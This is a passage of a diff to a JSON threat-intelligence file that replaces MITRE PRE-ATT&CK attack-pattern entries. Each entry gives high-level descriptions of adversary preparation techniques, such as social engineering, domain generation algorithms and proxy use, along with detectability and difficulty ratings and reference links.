"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016" - ] - }, - "uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e" - }, - { - "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.", - "value": "Analyze presence of outsourced capabilities - PRE-T1080", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080" - ] - }, - "uuid": "34450117-d1d5-417c-bb74-4359fc6551ca" - }, - { - "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Create implementation plan - PRE-T1009", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009" - ] - }, - "uuid": "b355817c-cf63-43b4-94a4-05e9645fa910" - }, - { - "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.", - "value": "Non-traditional or less attributable payment options - PRE-T1093", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093" - ] - }, - "uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d" - }, - { - "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information readily available through searches", - "value": "Aggregate individual's digital footprint - PRE-T1052", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052" - ] - }, - "uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31" - }, - { - "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.", - "value": "Identify sensitive personnel information - PRE-T1051", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051" - ] - }, - "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40" - }, - { - "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.", - "value": "Human performs requested action of physical nature - PRE-T1162", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162" - ] - }, - "uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8" - }, - { - "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.", - "value": "Assess opportunities created by business deals - PRE-T1076", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076" - ] - }, - "uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9" - }, - { - "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.", - "value": "Shadow DNS - PRE-T1117", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117" - ] - }, - "uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a" - }, - { - "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.", - "value": "Create custom payloads - PRE-T1122", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122" - ] - }, - "uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234" - }, - { - "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", - "value": "Conduct social engineering - PRE-T1045", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045" - ] - }, - "uuid": "af358cad-eb71-4e91-a752-236edc237dae" - }, - { - "description": "Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.", - "value": "SSL certificate acquisition for domain - PRE-T1114", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114" - ] - }, - "uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc" - }, - { - "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services", - "value": "Test malware to evade detection - PRE-T1136", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136" - ] - }, - "uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2" - }, - { - "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", - "value": "Build or acquire exploits - PRE-T1126", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126" - ] - }, - "uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a" - }, - { - "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.", - "value": "Unauthorized user introduces compromise delivery mechanism - PRE-T1164", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164" - ] - }, - "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413" - }, - { - "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.", - "value": "Common, high volume protocols and software - PRE-T1098", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098" - ] - }, - "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6" - }, - { - "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.", - "value": "Data Hiding - PRE-T1097", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097" - ] - }, - "uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864" - } - ] -} + "name": "Pre Attack - Attack Pattern", + "type": "mitre-pre-attack-attack-pattern", + "description": "ATT&CK tactic", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "03c13bec-1708-11e8-92a0-a747c0787089", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).", + "value": "Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170" + ], + "external_id": "PRE-T1170", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.", + "value": "Obfuscate infrastructure - PRE-T1108", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108" + ], + "external_id": "PRE-T1108", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39" + }, + { + "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).", + "value": "Create backup infrastructure - PRE-T1116", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116" + ], + "external_id": "PRE-T1116", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2" + }, + { + "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).", + "value": "Assess targeting options - PRE-T1073", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073" + ], + "external_id": "PRE-T1073", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-weakness-identification" + ] + }, + "uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92" + }, + { + "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Receive operator KITs/KIQs tasking - PRE-T1012", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012" + ], + "external_id": "PRE-T1012", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531" + }, + { + "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).", + "value": "Procure required equipment and software - PRE-T1112", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112" + ], + "external_id": "PRE-T1112", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a" + }, + { + "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).", + "value": "Identify security defensive capabilities - PRE-T1040", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040" + ], + "external_id": "PRE-T1040", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3" + }, + { + "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Derive intelligence requirements - PRE-T1007", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007" + ], + "external_id": "PRE-T1007", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904" + }, + { + "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.", + "value": "Domain Generation Algorithms (DGA) - PRE-T1100", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100" + ], + "external_id": "PRE-T1100", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "274164c6-4297-42d4-84b5-2369e51013fe" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.", + "value": "Leverage compromised 3rd party resources - PRE-T1152", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152" + ], + "external_id": "PRE-T1152", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9" + }, + { + "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.", + "value": "Review logs and residual traces - PRE-T1135", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135" + ], + "external_id": "PRE-T1135", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.", + "value": "Identify job postings and needs/gaps - PRE-T1025", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025" + ], + "external_id": "PRE-T1025", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "c721b235-679a-4d76-9ae9-e08921fccf84" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.", + "value": "Spear phishing messages with malicious attachments - PRE-T1144", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144" + ], + "external_id": "PRE-T1144", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "e24a9f99-cb76-42a3-a50b-464668773e97" + }, + { + "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.", + "value": "SSL certificate acquisition for trust breaking - PRE-T1115", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115" + ], + "external_id": "PRE-T1115", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f" + }, + { + "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.", + "value": "Proxy/protocol relays - PRE-T1081", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081" + ], + "external_id": "PRE-T1081", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5" + }, + { + "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public or easily obtainable information by design.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.", + "value": "Determine domain and IP address space - PRE-T1027", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027" + ], + "external_id": "PRE-T1027", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf" + }, + { + "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.", + "value": "Remote access tool development - PRE-T1128", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128" + ], + "external_id": "PRE-T1128", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.", + "value": "Push-notification client-side exploit - PRE-T1150", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150" + ], + "external_id": "PRE-T1150", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "702dc95d-3266-42dc-9eef-4a19e2445148" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.", + "value": "Authorized user performs requested cyber action - PRE-T1163", + "meta": { + "refs": [ + 